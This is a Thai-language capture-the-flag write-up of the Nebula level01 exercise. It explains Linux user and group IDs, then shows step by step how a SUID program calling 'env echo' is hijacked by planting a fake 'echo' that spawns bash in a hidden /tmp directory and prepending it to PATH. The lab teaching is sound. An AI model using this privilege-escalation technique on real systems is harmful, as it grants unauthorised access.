Nebula เลเวล 01: ลองแฮกช่องโหว่โปรแกรมด้วย $PATH

Pichaya Morimoto
3 min readMay 31, 2016

--

จากคราวที่แล้ว เราแค่หาโปรแกรมที่มี SUID bit มายกระดับสิทธิ์ง่าย ๆ คราวนี้เราไม่ต้องหาละได้โจทย์บอกมาเลยว่า binary ของโปรแกรมอยู่ที่ /home/flag01/

เริ่มต้นด้วยการ ssh เข้าไปด้วยชื่อผู้ใช้งาน level01 รหัสผ่าน level01 ครับ

$ ssh level01@192.168.99.100
$ cd /home/flag01
$ ls -l
total 8
-rwsr-x--- 1 flag01 level01 7322 Nov 20 2011 flag01

จะเห็นว่าคราวนี้เราเจอกับโปรแกรมชื่อ flag01 ที่มีการตั้ง SetUID bit ครับ แต่ในเลเวลนี้เรายังไม่ถึงขนาดต้องทำการแกะ debug โปรแกรมในระดับ assembly (ที่เรียกว่าการทำ reverse engineering) เพราะว่าโจทย์ได้ให้โค้ดภาษาซีของโปรแกรมมาด้วยครับ

#include <stdlib.h> 
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
int main(int argc, char **argv, char **envp)
{
gid_t gid;
uid_t uid;
gid = getegid();
uid = geteuid();

setresgid(gid, gid, gid);
setresuid(uid, uid, uid);

system("/usr/bin/env echo and now what?");
}

จากโค้ดจะสังเกตเห็นว่ามีการดึงค่า euid กับ egid ของ process ตอนกำลังทำงานอยู่ออกมาด้วยคำสั่ง geteuid() กับ getegid() ครับ ก่อนอื่นขออธิบายสักเล็กน้อยว่าค่าพวกนี้มันคืออะไร

  • uid ย่อมาจาก user identifier หมายถึง ค่าตัวเลขค่านึงที่ใช้แทนชื่อผู้ใช้งาน (user) แต่ละคนในระบบ โดยปกติแล้ว uid ที่มีค่า 0 คือ root เป็นผู้ใช้งานที่มีสิทธิ์สูงสุดในระบบ, พวกโปรแกรมที่ต้องทำงานเป็น service (ในลินุกซ์เรียกว่า daemon) ก็มักจะสร้าง user ของตัวเอง มีค่า uid เพิ่มขึ้นมาเรื่อย ๆ ตามลำดับครับ, ละก็ user ที่ถูกสร้างมาโดยคนที่จะเข้าไปใช้งานจริง ๆ ที่ไม่ใช่โปรแกรม ปกติแล้วจะมีค่า uid เริ่มต้นที่ 1000 ครับ เราสามารถดูค่า uid ของ user ทุกคนในระบบได้ที่ไฟล์ /etc/passwd ค่าใน column ที่ 3 คั่นโดย เครื่องหมายโคลอน (:) … ยกเว้น พวก rootkit บางประเภทอาจมีเทคนิคที่จะสร้าง user/uid ที่ไม่โชว์ในนี้ได้ด้วยการ load จาก kernal module ครับ ;P
$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
[...]
syslog:x:101:104::/home/syslog:/bin/false
messagebus:x:102:106::/var/run/dbus:/bin/false
landscape:x:103:109::/var/lib/landscape:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
colord:x:105:113:colord colour management daemon,,,:/var/lib/colord:/bin/false
longcat:x:1000:1000:,,,:/home/longcat:/bin/bash
  • gid ย่อมาจาก group identifier จะมีแนวคิดคล้าย ๆ กับ uid เป๊ะ แต่เปลี่ยนจาก user เป็นกลุ่ม (group) แทนครับ เนื่องจากหลายกรณี เราจำเป็นต้องมีกลุ่ม เช่นมี directory สำหรับเก็บโค้ดเว็บ แล้วเราอยากให้ โปรแกรมเมอร์ หลายคนเข้าถึงได้ เราก็สร้างกลุ่มสำหรับโปรแกรมเมอร์ขึ้นมาแล้ว เพิ่มสิทธิ์ของกลุ่มนี้ให้โปรแกรมเมอร์แต่ละคนอยู่กลุ่มเดียวกัน เป็นต้นครับ คนกลุ่มนี้ก็จะเข้าถึงโค้ดเว็บได้ ส่วนคนอื่น ๆ นอกกลุ่มก็เข้าถึงไม่ได้ (แต่ส่วนมากคนที่ไม่ใส่ใจเรื่อง IT Security เจอเคสนี้ก็ตั้งสิทธิ์ให้ directory สำหรับเก็บโค้ดเว็บ เข้าถึงได้ทุกคน ซึ่งเป็นวิธีที่ไม่ปลอดภัย เพราะอาจมีคนนอกเหนือจากโปรแกรมเมอร์ ที่ไม่ควรเข้าถึงได้ มาเปิดอ่าน/ใช้งาน โค้ดที่เราใส่ไว้ด้วย)
  • euid ย่อมาจาก effective user identifier เป็นค่า UID ที่ตั้งไว้สำหรับเปลี่ยนสิทธิ์ชั่วคราว เช่นโปรแกรม x รันด้วย user a อาจจะแก้ euid เพื่อให้ x ทำงานเป็นสิทธิ์ของ user b แทน ในทางปฏิบัติแล้วจะมี root ที่แก้ euid เป็นใครก็ได้ ส่วน user อื่น ๆ จะแก้ euid เป็นของตัวเอง (ruid) กับของคนอื่นในกรณี binary มี SetUID หรือ setGID ไว้ได้เท่านั้น (สรุปง่าย ๆ root ตั้ง euid เป็นใครก็ได้, user อื่นตั้งได้เป็นของตัวเอง ยกเว้นมี suid) เราสามารถดูค่า euid ได้ด้วย ฟังก์ชัน geteuid() และแก้ได้ด้วย seteuid() ซึ่งศัพท์เทคนิคเราเรียกว่าการ grant privilege เมื่อใช้ทำงานที่จำเป็นเสร็จแล้ว ก็ควรเปลี่ยนกลับเป็น uid ปกติของ user ที่เรียกใช้งานโปรแกรม เรียกว่าการ drop privilege ครับ ถ้าบางครั้งเกิด ข้อผิดพลาดของ logic หลังจาก grant privilege แล้วผู้โจมตีระบบหาทางข้าม flow ของการ drop privilege ได้ก็จะเป็นช่องโหว่การยกระดับสิทธิ์ไปทำอย่างอื่นได้ หรือที่เรียกกันว่า privilege escalation ครับ เป็น concept นึงในการยกระดับสิทธิ์นั้นเอง
  • ruid คือค่า UID ของ user ที่สร้าง process นั้น ๆ ขึ้นมา เช่น apache รันด้วย user a ที่มี UID 1234 เพราะฉะนั้น ruid ของโปรเซส apache คือ 1234 เราสามารถแก้ ruid กับ euid พร้อมกันได้ด้วยฟังก์ชัน setreuid()
  • egid ย่อมาจาก effective group identifier เหมือน euid แต่เป็นของ GUID ครับ

อันนี้เป็นแบบคร่าว ๆ ให้เข้าใจแนวคิด นะครับในความเป็นจริงมีรายละเอียดมากกว่านี้ใครสนใจก็ลองไปหาอ่านกันดูได้ มาเข้าเรื่อง… หลังจากรับ EUID ที่ได้จากการ SetUID ของ flag01 ไว้ด้วย geteuid() และตั้ง EUID ให้ตัวเองด้วย setreuid() แล้วนั้น ก็มีการเรียกใช้งาน คำสั่งในลินุกซ์จากฟังก์ชัน system()

system("/usr/bin/env echo and now what?");

ตรงนี้คือจุดที่เกิดช่องโหว่ครับ ถ้าอ่านจากบทความแรกที่ผมเขียนไว้ อาจจะ งง เล็กน้อยว่า ทำไมถึงเป็นช่องโหว่ เพราะผมบอกว่า $PATH weakness เกิดจากการที่ไม่ได้ใช้งาน abosulte path เรียกโปรแกรม แต่ไปใช้การค้นหาโปรแกรมในค่า $PATH ของ shell แทน .. ปรากฏว่าใน บรรทัดนี้มีเรียก abosulte path นี่หน่า /usr/bin/env ไง? แต่ปัญหาคือเจ้าโปรแกรม env นี้มันดันไปรับค่าออฟชั่น argument แรกเป็นโปรแกรมอีกตัวนึง ซึ่งค่าที่รับเข้าไปเป็น echo ครับ หลายคนอาจจะ สงสัยเพิ่มเติมอีกว่า เอ๊ย แล้ว echo นี้มันเป็น โปรแกรมที่มี binary ด้วยเหรอ นึกว่าเป็น built-in shell command มาตั้งนาน… ถ้าไม่เชื่อลองพิมพ์คำสั่งนี้ใน shell ดูครับ

$ which echo
/bin/echo
$ file /bin/echo
/bin/echo: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.15, stripped

จะเห็นว่าเมื่อเราใช้โปรแกรม which หาว่าโปรแกรม echo นั้นอยู่ที่ไหน มันชี้ไปที่ /bin/echo ละเมื่อใช้โปรแกรม file ตรวจสอบดูพบว่ามันเป็น ELF binary ครับ, ELF เป็นชนิดของไฟล์โปรแกรม (binary) ที่ทำงานในลินุกซ์ ถ้าใน Windows จะเป็น PE และใน OSX เป็น Mach-O ครับ

วิธีการโจมตีก็คือ…

เราจะทำการตั้งค่า $PATH ให้ชี้ไปที่ directory ที่เราสามารถเขียนไฟล์ลงไปเองได้ แล้วสร้างไฟล์ชื่อ echo ที่ไปเรียก /bin/bash ครับ (เคยอธิบายไว้แล้วในบทความก่อนหน้าเช่นกัน) ซึ่งผมเลือกที่จะเขียนลงใน /tmp/ เพราะปกติแล้ว /tmp/ จะเป็น directory ที่ทุก user มีสิทธิ์ที่จะเขียนไฟล์ลงไปได้นั้นเอง

  1. ผมจะสร้าง directory ชื่อ .longcat_flag01 ไว้ใน /tmp/ ครับ จริง ๆ สร้าง echo ใน /tmp/ นี้เลยก็ได้ แต่ปกติในฐานะ ที่ผมเป็นคนทำงานในมุมมองแฮกเกอร์! ส่วนตัวผมชอบสร้างแยกไว้ด้วยการสร้าง directory ที่มีจุด นำหน้าป้องกันคนมา ls เจอครับ
$ mkdir -p /tmp/.longcat_flag01/
$ ls /tmp/
$ ls -a /tmp/
. .. .ICE-unix .X11-unix .longcat_flag01

จะเห็นว่า ไฟล์หรือ directory ที่ขึ้นต้นด้วย จุด จะไม่เห็นเมื่อทำการ ls ธรรมดาดูต้องใส่ ออฟชั่น -a ลงไปด้วย เป็นเทคนิคง่าย ๆ ที่แฮกเกอร์มักจะใช้ซ่อนไฟล์ในระบบครับ (โดยทั่วไป มักใช้วิธีนี้ซ่อนไฟล์ที่ user ทั่วไปไม่ควรต้องยุ่งด้วย เช่น ไฟล์การตั้งค่าของโปรแกรมครับ)

2. สร้างไฟล์ echo ใน /tmp/.longcat_flag01/ โดยใส่คำสั่งเรียก /bin/bash ลงไปและกำหนดสิทธิ์ใช้ ไฟล์นี้รันได้ครับ (และจะถูกรันเป็น shell script)

$ echo "/bin/bash" > /tmp/.longcat_flag01/echo
$ chmod +x /tmp/.longcat_flag01/echo

3. กำหนดค่า $PATH ให้เมื่อเรียก โปรแกรมโดยใส่แค่ชื่อ ไม่ได้ใส่ absolute path เต็ม ๆ แล้ว จะไปหาโปรแกรมนั้นที่ /tmp/.longcat_flag01/ เป็นที่แรกครับ (สังเกตว่าเราใช้วิธีเอามาเติมข้างหน้า PATH แทนการเอามาแทนที่ค่าเดิมทั้งหมด ไม่งั้นเดี๋ยวคำสั่งอื่น ๆ จะรันไมได้ด้วยครับ)

$ export PATH=/tmp/.longcat_flag01/:$PATH
$ echo $PATH
/tmp/.longcat_flag01/:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games

4. ได้เวลาลอง แฮก ครับ! เรียก โปรแกรม flag01 ขึ้นมาโล้ด

$ id
uid=1002(level01) gid=1002(level01) groups=1002(level01)
$ /home/flag01/flag01
$ id
uid=998(flag01) gid=1002(level01) groups=998(flag01),1002(level01)

โดยจะเห็นว่าก่อนเรียก flag01 ผมสั่ง id ดูค่า uid ปัจจุบันก่อนเป็น 1002 ของ user level01 พอเรียก flag01 ปุ๊บ system() ทำงาน

system("/usr/bin/env echo and now what?");

ไปเรียก env แล้ว ไปเรียก echo ซึ่ง shell จะไปหา echo ใน $PATH จากซ้ายไปขวา พอเจออันแรก ของค่า $PATH ที่เป็น /tmp/.longcat_flag01/

$ echo $PATH
/tmp/.longcat_flag01/:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games

จึงไปเรียก /tmp/.longcat_flag01/echo ที่เป็น shell script ที่ไป spawn bash shell ออกมาและเมื่อมีการตั้งค่า EUID เป็นเลขที่ SUID ไว้ทำให้ เราได้ bash shell ที่มีสิทธิ์เป็น user flag01 และสามารถรันคำสั่งอื่น ๆ ด้วยสิทธิ์ของ flag01 นอกเหนือจากที่โปรแกรมอยากให้ทำได้จากนั้นลองเรียกโปรแกรม getflag ครับ

$ getflag
You have successfully executed getflag on a target account

ถือว่าเสร็จสิ้นการทำการแฮกยกระดับสิทธิ์ในเลเวลนี้ครับ ในอินเทอร์เน็ตมีคนเขียน writeup เฉลยของ Nebula ไว้มากมาย แต่ในบทความของผมตั้งใจอยากจะอธิบายในรายละเอียดเพิ่มเติมลึก ๆ พร้อมใส่เกร็ดเล็ก ๆ น้อย ๆ เพื่อว่าให้ผู้อ่านได้เข้าใจจริง ๆ จะได้ความรู้นำไปปรับใช้ได้ ไม่ใช้แค่แก้ปัญหานี้ได้เพียงอย่างเดียวครับ

ที่มา: https://exploit-exercises.com/nebula/level01/

--

--